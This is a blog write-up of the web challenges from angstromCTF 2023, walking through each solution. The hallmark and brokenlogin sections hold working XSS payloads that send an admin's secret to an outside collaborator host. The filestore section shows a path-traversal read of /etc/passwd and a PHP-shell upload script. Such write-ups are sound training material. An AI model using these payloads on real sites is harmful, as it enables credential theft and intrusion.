angstromctf 2023 - WEB

Posted on 02 May 2023 in security • 7 min read

angstromctf 2023

I participated as a solo player to angstromctf 2023. I focused on Web challenges.

catch me if you can

  • 10 points
  • 1150 solves

Very simple, sanity check challenge. View source:

<html>
    <head>
        <style>
            body {
                font-family: "Comic Sans MS", "Comic Sans", cursive;
            }
            #flag {
                border: 2px solid red;
                position: absolute;
                top: 50%;
                left: 0;
                -moz-user-select: -moz-none;
                -khtml-user-select: none;
                -webkit-user-select: none;
                -ms-user-select: none;
                user-select: none;

                animation-name: spin;
                animation-duration: 3000ms;
                animation-iteration-count: infinite;
                animation-timing-function: linear;
            }

            @keyframes spin {
                from {
                    transform:rotate(0deg);
                }
                to {
                    transform:rotate(360deg);
                }
            }
        </style>
    </head>
    <body>
        <h1>catch me if you can!</h1>
        <marquee scrollamount="50" id="flag">actf{y0u_caught_m3!_0101ff9abc2a724814dfd1c85c766afc7fbd88d2cdf747d8d9ddbf12d68ff874}</marquee>
    </body>
</html>

Celeste Speedrunning Association

  • 20 points
  • 681 solves

We need to beat a speed run time. Meaning we can start in the future and have a negative run time. Just modify the start date of the going request:

POST /submit HTTP/1.1
Host: mount-tunnel.web.actf.co
Content-Length: 16
Content-Type: application/x-www-form-urlencoded
Connection: close

start=1700000000
HTTP/1.1 200 OK
Server: nginx/1.23.3
Date: Thu, 26 Apr 2023 17:24:22 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 52
Connection: close

you win the flag: actf{wait_until_farewell_speedrun}

shortcircuit

  • 40 points
  • 770 solves

We have a login form with a JavaScript validation. The flag is the password.

const swap = (x) => {
    let t = x[0]
    x[0] = x[3]
    x[3] = t

    t = x[2]
    x[2] = x[1]
    x[1] = t

    t = x[1]
    x[1] = x[3]
    x[3] = t

    t = x[3]
    x[3] = x[2]
    x[2] = t

    return x
}

const chunk = (x, n) => {
    let ret = []

    for(let i = 0; i < x.length; i+=n){
        ret.push(x.substring(i,i+n))
    }

    return ret
}

const check = (e) => {
    if (document.forms[0].username.value === "admin"){
        if(swap(chunk(document.forms[0].password.value, 30)).join("") == "7e08250c4aaa9ed206fd7c9e398e2}actf{cl1ent_s1de_sucks_544e67ef12024523398ee02fe7517fffa92516317199e454f4d2bdb04d9e419ccc7"){
            location.href="/win.html"
        }
        else{
            document.getElementById("msg").style.display = "block"
        }
    }
}

The input password was passed to the chunk function and then to the swap function. The result needed to be 7e08250c4aaa9ed206fd7c9e398e2}actf{cl1ent_s1de_sucks_544e67ef12024523398ee02fe7517fffa92516317199e454f4d2bdb04d9e419ccc7.

The chunk function just cut the 120 characters password into four 30 characters pieces.

The swap function swap the different chunk in the following manner: 0123 → 3120 → 3210 → 3012 → 3021

Knowing that we could find that the flag was (I left space between the chunk for clarity): actf{cl1ent_s1de_sucks_544e67e 6317199e454f4d2bdb04d9e419ccc7 f12024523398ee02fe7517fffa9251 7e08250c4aaa9ed206fd7c9e398e2}

directory

  • 40 points
  • 806 solves

There was around 5 000 directories and only one contained the flag. I used wget -r -np -k https://directory.web.actf.co/ to recursively download the site (this took time, but I did not care as I was working on the next challenge during that time) and then used grep to find the flag.

➜  grep actf directory.web.actf.co/*
directory.web.actf.co/3054.html:actf{y0u_f0und_me_b51d0cde76739fa3}

Celeste Tunneling Association

  • 40 points
  • 566 solves

This was a simple website and the code source was provided.

# run via `uvicorn app:app --port 6000`
import os

SECRET_SITE = b"flag.local"
FLAG = os.environ['FLAG']

async def app(scope, receive, send):
    assert scope['type'] == 'http'

    headers = scope['headers']

    await send({
        'type': 'http.response.start',
        'status': 200,
        'headers': [
            [b'content-type', b'text/plain'],
        ],
    })

    # IDK malformed requests or something
    num_hosts = 0
    for name, value in headers:
        if name == b"host":
            num_hosts += 1

    if num_hosts == 1:
        for name, value in headers:
            if name == b"host" and value == SECRET_SITE:
                await send({
                    'type': 'http.response.body',
                    'body': FLAG.encode(),
                })
                return

    await send({
        'type': 'http.response.body',
        'body': b'Welcome to the _tunnel_. Watch your step!!',
    })

Looking at the source code we understood that we needed one host header with the value flag.local. Using burp we modified the request to look like the following and got the flag in the response.

GET / HTTP/2
Host: flag.local
HTTP/2 200 OK
Content-Type: text/plain
Date: Thu, 26 Apr 2023 18:07:54 GMT
Server: uvicorn

actf{reaching_the_core__chapter_8}

hallmark

  • 80 points
  • 243 solves

We could generate cards and shared them via the site. There was also an admin app that simulated the administrator behavior and would browse card we sent it.

  app
    static
      ﰟ cake.svg
      ﰟ flowers.svg
      ﰟ heart.svg
      ﰟ snowman.svg
    󰡨 Dockerfile
     index.html
     index.js
     package-lock.json
     package.json

The app was pretty straightforward and consisted mostly of the index.js file.

const express = require("express");
const bodyParser = require("body-parser");
const cookieParser = require("cookie-parser");
const path = require("path");
const { v4: uuidv4, v4 } = require("uuid");
const fs = require("fs");

const app = express();
app.use(bodyParser.urlencoded({ extended: true }));
app.use(cookieParser());

const IMAGES = {
    heart: fs.readFileSync("./static/heart.svg"),
    snowman: fs.readFileSync("./static/snowman.svg"),
    flowers: fs.readFileSync("./static/flowers.svg"),
    cake: fs.readFileSync("./static/cake.svg")
};

Object.freeze(IMAGES)

const port = Number(process.env.PORT) || 8080;
const secret = process.env.ADMIN_SECRET || "secretpw";
const flag = process.env.FLAG || "actf{placeholder_flag}";

const cards = Object.create(null);

app.use('/static', express.static('static'))

app.get("/card", (req, res) => {
    if (req.query.id && cards[req.query.id]) {
        res.setHeader("Content-Type", cards[req.query.id].type);
        res.send(cards[req.query.id].content);
    } else {
        res.send("bad id");
    }
});

app.post("/card", (req, res) => {
    let { svg, content } = req.body;

    let type = "text/plain";
    let id = v4();

    if (svg === "text") {
        type = "text/plain";
        cards[id] = { type, content }
    } else {
        type = "image/svg+xml";
        cards[id] = { type, content: IMAGES[svg] }
    }

    res.redirect("/card?id=" + id);
});

app.put("/card", (req, res) => {
    let { id, type, svg, content } = req.body;

    if (!id || !cards[id]){
        res.send("bad id");
        return;
    }

    cards[id].type = type == "image/svg+xml" ? type : "text/plain";
    cards[id].content = type === "image/svg+xml" ? IMAGES[svg || "heart"] : content;

    res.send("ok");
});


// the admin bot will be able to access this
app.get("/flag", (req, res) => {
    if (req.cookies && req.cookies.secret === secret) {
        res.send(flag);
    } else {
        res.send("you can't view this >:(");
    }
});

app.get("/", (req, res) => {
    res.sendFile(path.join(__dirname, "index.html"));
});

app.listen(port, () => {
    console.log(`Server listening on port ${port}.`);
});

There were three actions for the card endpoint:

  • GET: required the get parameter id and would display the card if the id existed.
  • POST: generated a card, the action used by the site when generating a card
  • PUT: this method was never used on the site directly but could be used manually to edit a card

We generated an SVG card using the application user interface (this used the /card POST method).

POST /card HTTP/1.1
Host: hallmark.web.actf.co
Content-Type: application/x-www-form-urlencoded
Content-Length: 21

svg=heart&content=aaa

The response contained our card ID.

HTTP/1.1 302 Found
Server: nginx/1.23.3
Date: Thu, 26 Apr 2023 19:29:04 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 67
Connection: keep-alive
X-Powered-By: Express
Location: /card?id=eb184d2d-6ae9-416d-adb4-6f89afca7e74
Vary: Accept

Found. Redirecting to /card?id=eb184d2d-6ae9-416d-adb4-6f89afca7e74

We modified the card using the PUT method. In order to keep the Content-Type as image/svg+xml we needed to take advantage of the loose comparison cards[id].type = type == "image/svg+xml" ? type : "text/plain"; using type[]=image/svg%2bxml. We also included an SVG file containing a XSS payload (a simple alert('XSS') for now).

PUT /card HTTP/1.1
Host: hallmark.web.actf.co
Content-Type: application/x-www-form-urlencoded
Content-Length: 1601

svg=heart&type[]=image/svg%2bxml&content=<svg+xmlns%3d"http%3a//www.w3.org/2000/svg"+width%3d"400"+height%3d"400"+viewBox%3d"0+0+400+400"+onload%3d"alert('XSS')"><path+fill%3d"%23465283"+d%3d"M32.805+143.09h58.993c17.316.145+29.863+5.11+37.64+14.894+7.778+9.784+10.346+23.146+7.705+40.085-1.027+7.74-3.301+15.333-6.824+22.78-3.375+7.448-8.071+14.165-14.087+20.153-7.338+7.593-15.189+12.412-23.554+14.456-8.364+2.045-17.022+3.067-25.974+3.067H40.29l-8.365+41.618H1.328l31.477-157.054m25.755+24.97l-13.207+65.714c.88.146+1.76.219+2.641.219h3.082c14.087.146+25.827-1.241+35.22-4.162+9.39-3.066+15.7-13.726+18.93-31.98+2.64-15.333-.001-24.168-7.926-26.504-7.777-2.337-17.536-3.431-29.275-3.286a61.27+61.27+0+0+1-5.063.219H58.34l.22-.22m113.445-66.795h30.377l-8.585+41.838h27.295c14.969.291+26.121+3.358+33.459+9.2+7.484+5.84+9.686+16.939+6.603+33.294l-14.748+72.941h-30.817l14.088-69.655c1.467-7.302+1.027-12.486-1.32-15.553-2.349-3.066-7.412-4.599-15.189-4.599l-24.434-.22-18.049+90.027h-30.377l31.697-157.272m121.773+41.824h58.992c17.317.146+29.864+5.112+37.641+14.895+7.777+9.784+10.346+23.146+7.704+40.085-1.027+7.74-3.301+15.333-6.823+22.78-3.376+7.448-8.072+14.165-14.088+20.153-7.338+7.593-15.188+12.412-23.554+14.456-8.363+2.045-17.022+3.067-25.973+3.067h-26.415l-8.364+41.617H262.3l31.478-157.053m25.754+24.97l-13.208+65.714a16.17+16.17+0+0+0+2.643.219h3.08c14.09.146+25.829-1.241+35.22-4.162+9.392-3.066+15.703-13.726+18.931-31.98+2.641-15.333+0-24.168-7.924-26.504-7.778-2.337-17.537-3.431-29.277-3.286a61.31+61.31+0+0+1-5.061.219h-4.624l.22-.22"/></svg>&id=498b8244-43c1-4ae1-a520-89b33fd164fe

The XSS was triggered when browsing the card: XSS triggered

We craft a payload that will request the flag and send it to a Burp collaborator: fetch('/flag').then(flag=>flag.text()).then(flag => fetch('https://burp.collaborator/'+flag))

We modify the SVG file:

PUT /card HTTP/1.1
Host: hallmark.web.actf.co
Content-Type: application/x-www-form-urlencoded
Content-Length: 1713

svg=heart&type[]=image/svg%2bxml&content=<svg+xmlns%3d"http%3a//www.w3.org/2000/svg"+width%3d"400"+height%3d"400"+viewBox%3d"0+0+400+400"+onload%3d"fetch('/flag').then(flag=>flag.text()).then(flag+%3d>+fetch('https://f8oln394j5jyuy7praekidg2vt1kpbd0.oastify.com/'%2bflag))"><path+fill%3d"%23465283"+d%3d"M32.805+143.09h58.993c17.316.145+29.863+5.11+37.64+14.894+7.778+9.784+10.346+23.146+7.705+40.085-1.027+7.74-3.301+15.333-6.824+22.78-3.375+7.448-8.071+14.165-14.087+20.153-7.338+7.593-15.189+12.412-23.554+14.456-8.364+2.045-17.022+3.067-25.974+3.067H40.29l-8.365+41.618H1.328l31.477-157.054m25.755+24.97l-13.207+65.714c.88.146+1.76.219+2.641.219h3.082c14.087.146+25.827-1.241+35.22-4.162+9.39-3.066+15.7-13.726+18.93-31.98+2.64-15.333-.001-24.168-7.926-26.504-7.777-2.337-17.536-3.431-29.275-3.286a61.27+61.27+0+0+1-5.063.219H58.34l.22-.22m113.445-66.795h30.377l-8.585+41.838h27.295c14.969.291+26.121+3.358+33.459+9.2+7.484+5.84+9.686+16.939+6.603+33.294l-14.748+72.941h-30.817l14.088-69.655c1.467-7.302+1.027-12.486-1.32-15.553-2.349-3.066-7.412-4.599-15.189-4.599l-24.434-.22-18.049+90.027h-30.377l31.697-157.272m121.773+41.824h58.992c17.317.146+29.864+5.112+37.641+14.895+7.777+9.784+10.346+23.146+7.704+40.085-1.027+7.74-3.301+15.333-6.823+22.78-3.376+7.448-8.072+14.165-14.088+20.153-7.338+7.593-15.188+12.412-23.554+14.456-8.363+2.045-17.022+3.067-25.973+3.067h-26.415l-8.364+41.617H262.3l31.478-157.053m25.754+24.97l-13.208+65.714a16.17+16.17+0+0+0+2.643.219h3.08c14.09.146+25.829-1.241+35.22-4.162+9.392-3.066+15.703-13.726+18.931-31.98+2.641-15.333+0-24.168-7.924-26.504-7.778-2.337-17.537-3.431-29.277-3.286a61.31+61.31+0+0+1-5.061.219h-4.624l.22-.22"/></svg>&id=498b8244-43c1-4ae1-a520-89b33fd164fe

We verified that our payload was working and got an interaction /you%20can't%20view%20this%20%3E:(?p0wu1=1 on our collaborator instance.

Then, we sent our card to the admin and got the flag as a collaborator interaction:

`GET /actf%7Bthe_adm1n_has_rece1ved_y0ur_card_cefd0aac23a38d33%7D HTTP/1.1

brokenlogin

  • 110 points
  • 167 solves

The application was an authentication form with an impossible login. As the previous challenge an administrator is simulated with a web page. Below is the JavaScript for the admin bot:

module.exports = {
    name: "brokenlogin",
    timeout: 7000,
    async execute(browser, url) {
        if (!/^https:\/\/brokenlogin\.web\.actf\.co\/.*/.test(url)) return;

        const page = await browser.newPage();

        await page.goto(url);
        await page.waitForNetworkIdle({
            timeout: 5000,
        });

        await page.waitForSelector("input[name=username]");

        await page.$eval(
          "input[name=username]",
          (el) => (el.value = "admin")
        );

        await page.waitForSelector("input[name=password]");

        await page.$eval(
          "input[name=password]",
          (el, password) => (el.value = password),
          process.env.CHALL_BROKENLOGIN_FLAG
        );

        await page.click("input[type=submit]");

        await new Promise((r) => setTimeout(r, 1000));

        await page.close();
    },
};

Looking at the source code we noticed that a Flask Jinja template is used to build the page. In addition, it is possible to add a custom failure message using a GET parameter message.

from flask import Flask, make_response, request, escape, render_template_string

app = Flask(__name__)

fails = 0

indexPage = """
<html>
    <head>
        <title>Broken Login</title>
    </head>
    <body>
        <p style="color: red; fontSize: '28px';">%s</p>
        <p>Number of failed logins: {{ fails }}</p>
        <form action="/" method="POST">
            <label for="username">Username: </label>
            <input id="username" type="text" name="username" /><br /><br />

            <label for="password">Password: </label>
            <input id="password" type="password" name="password" /><br /><br />

            <input type="submit" />
        </form>
    </body>
</html>
"""

@app.get("/")
def index():
    global fails
    custom_message = ""

    if "message" in request.args:
        if len(request.args["message"]) >= 25:
            return render_template_string(indexPage, fails=fails)

        custom_message = escape(request.args["message"])

    return render_template_string(indexPage % custom_message, fails=fails)


@app.post("/")
def login():
    global fails
    fails += 1
    return make_response("wrong username or password", 401)


if __name__ == "__main__":
    app.run("0.0.0.0")

For instance https://brokenlogin.web.actf.co/?message=aa would display aa at the beginning of the page (in red). This parameter is interpreted as a Jinja2 input and 7*7 would result in 49. We could also use https://brokenlogin.web.actf.co/?message={{%20config.items()%20}} to retrieve the configuration.

dict_items([('ENV', 2), ('DEBUG', False), ('TESTING', False), ('PROPAGATE_EXCEPTIONS', None), ('SECRET_KEY', None), ('PERMANENT_SESSION_LIFETIME', datetime.timedelta(days=31)), ('USE_X_SENDFILE', False), ('SERVER_NAME', None), ('APPLICATION_ROOT', '/'), ('SESSION_COOKIE_NAME', 'session'), ('SESSION_COOKIE_DOMAIN', None), ('SESSION_COOKIE_PATH', None), ('SESSION_COOKIE_HTTPONLY', True), ('SESSION_COOKIE_SECURE', False), ('SESSION_COOKIE_SAMESITE', None), ('SESSION_REFRESH_EACH_REQUEST', True), ('MAX_CONTENT_LENGTH', None), ('SEND_FILE_MAX_AGE_DEFAULT', None), ('TRAP_BAD_REQUEST_ERRORS', None), ('TRAP_HTTP_EXCEPTIONS', False), ('EXPLAIN_TEMPLATE_LOADING', False), ('PREFERRED_URL_SCHEME', 'http'), ('JSON_AS_ASCII', None), ('JSON_SORT_KEYS', None), ('JSONIFY_PRETTYPRINT_REGULAR', None), ('JSONIFY_MIMETYPE', None), ('TEMPLATES_AUTO_RELOAD', None), ('MAX_COOKIE_SIZE', 4093), ('g', Undefined), ('a', 2), ('x', 13), ('aa', 1), ('add', 1), ('z', 2), (6, 9), ('q', 2)])

We were limited by a length check and our custom message could not be more than 25 characters. But using Jinja2 filters in addition to requests parameters we were able to craft an XSS:

https://brokenlogin.web.actf.co/?message={{request.args.a|safe}}&a=%3Cscript%3Ealert(1);%3C/script%3E

XSS triggered

We needed to retrieve and exhilarate the flag. But we also needed to wait for the form to be fully loaded. Using window.onload would achieve that. After a few try the final payload looked like this:

https://brokenlogin.web.actf.co/?message={{request.args.a|safe}}&a=%3Cscript%3Ewindow.onload%20=function(){document.forms[0].action=%22https://zux59nvo5p5igit9du044x2mhdn4bxzm.oastify.com%22};%3C/script%3E

Sending this link to the admin resulted in an interaction with our collaborator that disclosed the flag.

POST / HTTP/1.1
Host: zux59nvo5p5igit9du044x2mhdn4bxzm.oastify.com
<SNIP>

username=admin&password=actf%7Badm1n_st1ll_c4nt_l0g1n_11dbb6af58965de9%7D

filestore

  • 180 points
  • 73 solves

This was a PHP file store service.

dist/
├── Dockerfile
├── list_uploads
├── make_abyss_entry
└── src
    ├── index.php
    └── uploads
        └── placeholder.txt

The main file was the PHP index:

<?php
    if($_SERVER['REQUEST_METHOD'] == "POST"){
        if ($_FILES["f"]["size"] > 1000) {
            echo "file too large";
            return;
        }

        $i = uniqid();

        if (empty($_FILES["f"])){
            return;
        }

        if (move_uploaded_file($_FILES["f"]["tmp_name"], "./uploads/" . $i . "_" . hash('sha256', $_FILES["f"]["name"]) . "_" . $_FILES["f"]["name"])){
            echo "upload success";
        } else {
            echo "upload error";
        }
    } else {
        if (isset($_GET["f"])) {
            include "./uploads/" . $_GET["f"];
        }

        highlight_file("index.php");

        // this doesn't work, so I'm commenting it out 😛
        // system("/list_uploads");
    }
?>

Note that we had an LFI and https://filestore.web.actf.co/?f=../../../../../etc/passwd would return the content of /etc/passwd.

Uploading a file would result in it being renamed using the uniqid function. As notice in a big red box on the documentation this function just return the time in microseconds and must not be used for cryptographic purposes.

The final filename would be in the form time_sha256sum_filename.

We created a script that will upload a simple PHP shell and print the value of uniqid before and after the request.

import requests
import os

files = {'f': open('shell.php','rb')}

url = 'https://filestore.web.actf.co/'
os.system('php -r \'printf("uniqid(): %s\r\n", uniqid());\'')

r = requests.post(url, files=files)#, data=values)
os.system('php -r \'printf("uniqid(): %s\r\n", uniqid());\'')

It turned out that this was around 470k requests. It seemed too much to be bruteforce and there should be another way.

I did not solve this challenge

Meme-Lord, used ffuf to bruteforce it and you can find the followup of the challenge in his writeup

Another method was to use pearcmd.php. This method is also detailed here (gist) and here (hacktricks).